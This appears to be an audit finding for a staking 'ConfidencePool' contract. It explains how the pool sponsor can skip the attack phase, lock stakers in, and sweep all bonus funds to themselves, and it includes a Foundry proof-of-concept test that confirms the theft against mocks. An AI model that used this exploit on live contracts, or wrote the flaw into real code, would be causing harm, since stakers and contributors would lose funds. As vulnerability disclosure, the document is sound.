Description
When a pool is created, stakers deposit tokens expecting to earn a k=2 time-weighted bonus share when the agreement survives. Bonus contributors fund the bonus pool permissionlessly. The pool resolves based on the agreement's registry state, and stakers claim their principal plus bonus via claimSurvived or claimExpired.
The pool sponsor (who is also the agreement owner, enforced by the factory's UnauthorizedCreator check) can call goToProduction() on the external AttackRegistry to jump the agreement directly to PRODUCTION without ever passing through UNDER_ATTACK. This causes riskWindowStart to remain zero because PRODUCTION is not an active-risk state. The withdrawal gate in withdraw() blocks stakers from exiting (since PRODUCTION fails the state check), but _bonusShare() returns zero for every staker when riskWindowStart == 0. The sponsor then sweeps the entire bonus to their own recoveryAddress via sweepUnclaimedBonus().
if (
riskWindowStart != 0
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
@> && state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) {
revert WithdrawsDisabled();
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
@> if (riskWindowStart == 0) return 0;
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
@> if (riskWindowStart != 0) {
reserved += snapshotTotalBonus - claimedBonus;
}
}
The withdrawal gate and the bonus gate use different conditions for "risk materialized." The withdrawal gate checks the live registry state (blocks on PRODUCTION). The bonus gate checks riskWindowStart (only set during UNDER_ATTACK or PROMOTION_REQUESTED). When goToProduction skips both active-risk states, these two gates diverge — stakers are locked but earn zero bonus.
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
contract PoC_SponsorBonusTheft is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant BASE_TS = 1_750_000_000;
MockERC20 token;
MockAttackRegistry attackRegistry;
MockSafeHarborRegistry safeHarborRegistry;
MockAgreement agreementContract;
ConfidencePool pool;
address sponsor = makeAddr("sponsor");
address moderator = makeAddr("moderator");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address carol = makeAddr("carol");
function setUp() public {
vm.warp(BASE_TS);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(sponsor);
address agreement = address(agreementContract);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
agreementContract.setContractInScope(address(0xC0FFEE), true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
address[] memory scope = new address[](1);
scope[0] = address(0xC0FFEE);
ConfidencePool impl = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(impl)));
pool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 60 days,
1 * ONE,
sponsor,
sponsor,
scope
);
}
function test_sponsorCapturesBonusBySkippingUnderAttack() public {
token.mint(alice, 500 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 500 * ONE);
pool.stake(500 * ONE);
vm.stopPrank();
token.mint(bob, 500 * ONE);
vm.startPrank(bob);
token.approve(address(pool), 500 * ONE);
pool.stake(500 * ONE);
vm.stopPrank();
token.mint(carol, 200 * ONE);
vm.startPrank(carol);
token.approve(address(pool), 200 * ONE);
pool.contributeBonus(200 * ONE);
vm.stopPrank();
assertEq(token.balanceOf(address(pool)), 1200 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "riskWindowStart should stay 0");
assertGt(pool.riskWindowEnd(), 0, "riskWindowEnd is set because PRODUCTION is terminal");
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
vm.warp(pool.expiry());
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 alicePayout = token.balanceOf(alice) - aliceBefore;
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobPayout = token.balanceOf(bob) - bobBefore;
assertEq(alicePayout, 500 * ONE, "Alice gets principal only");
assertEq(bobPayout, 500 * ONE, "Bob gets principal only");
uint256 sponsorBefore = token.balanceOf(sponsor);
pool.sweepUnclaimedBonus();
uint256 sponsorGain = token.balanceOf(sponsor) - sponsorBefore;
assertEq(sponsorGain, 200 * ONE, "Sponsor captured full bonus via recoveryAddress");
assertEq(token.balanceOf(carol), 0, "Carol lost her entire bonus contribution");
}
function test_stakersLockedBeforeExpiryWhenGoToProduction() public {
token.mint(alice, 100 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
}
function test_normalFlow_stakersReceiveBonus() public {
token.mint(alice, 500 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 500 * ONE);
pool.stake(500 * ONE);
vm.stopPrank();
token.mint(bob, 500 * ONE);
vm.startPrank(bob);
token.approve(address(pool), 500 * ONE);
pool.stake(500 * ONE);
vm.stopPrank();
token.mint(carol, 200 * ONE);
vm.startPrank(carol);
token.approve(address(pool), 200 * ONE);
pool.contributeBonus(200 * ONE);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "riskWindowStart is set in normal flow");
vm.warp(block.timestamp + 14 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 alicePayout = token.balanceOf(alice) - aliceBefore;
assertGt(alicePayout, 500 * ONE, "In normal flow Alice gets principal + bonus");
}
}